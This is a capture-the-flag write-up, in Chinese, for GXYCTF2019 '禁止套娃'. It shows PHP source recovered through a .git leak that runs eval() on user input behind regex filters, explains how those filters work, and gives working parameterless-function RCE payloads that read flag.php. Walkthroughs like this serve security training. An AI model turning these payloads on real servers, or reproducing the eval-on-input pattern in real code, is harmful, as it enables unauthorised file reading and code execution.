[GXYCTF2019]禁止套娃
考点:无参数rce读取任意文件
在此之前可以参考Leon师傅发表在合天上面的文章:http://www.heetian.com/info/827
开局直接啥也找不到...这种情况一般是源码泄露.如果你的扫描器足够强大应该可以扫到/.git ,到这里此题的第一步已经完成,直接工具捕捉git源码泄露,得到如下的代码:
1 <?php
2 include "flag.php";
3 echo "flag在哪里呢?<br>";
4 if(isset($_GET['exp'])){
5 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
6 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
8 // echo $_GET['exp'];
9 @eval($_GET['exp']);
10 }
11 else{
12 die("还差一点哦!");
13 }
14 }
15 else{
16 die("再好好想想!");
17 }
18 }
19 else{
20 die("还想读flag,臭弟弟!");
21 }
22 }
23 // highlight_file(__FILE__);
24 ?>
接下来对这段PHP代码进行分析:
在第五行的代码:if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) 利用正则表达匹配data,filter,php,phar等关键字符串,防止解题者通过伪协议直接读取文件
在第六行的代码:if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式,所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;.举个例子:a(b(c()));可以使用,但是a('b')或者a('b','c')这种含有参数的都不能使用,所以我们要使用无参数的函数进行文件读取或者命令执行.
既然是读文件获取flag,首先应该执行的应该是print_r(scandir('.'))列举当前目录下的所有文件.但是此题无法进行传参,所以我们需要构造".",
在这之前先获取一些全局变量的信息,测试本题是否回显:
成功得到回显,php版本为5.6.40.
现在我们开始尝试使用PHP函数构造"."(这里只阐述本题的解题思路,更多骚操作请参考文章开头Leon师傅发表在合天上面的文章)
先介绍使用到的函数
- localeconv():localeconv()返回一包含本地数字及货币格式信息的数组。这个数组的第一项就是我们需要的"."
- current():current()返回数组中的单元,默认取第一个值,在本题中我们只需要使用localeconv(current())便可以构造出我们一直念念不忘的"."
payload:?exp=print_r(scandir(current(localeconv())));
得到以下回显:
此时我们已经得到该目录下的所有文件,可以看到第四个文件是index.php,而第三个文件就是我们所需要读取的flag.php.接下来介绍我们需要用到的另外两个函数:
- array_reverse():将输入的数组反向排序输出,在本题中将index.php作为数组的第一个元素,flag.php作为数组的第二个元素.
- next():将当前数组的光标向后移一位,在本题中即将光标从index.php转向后面一项的flag.php
payload:?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
结果如下图:
可以看到我们已经将光标定位在了我们要读的flag.php上面,现在只需要使用show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处)
最终payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))))
成功读到flag.
flag{2275beda-a953-4907-bcb5-62fd1989825d}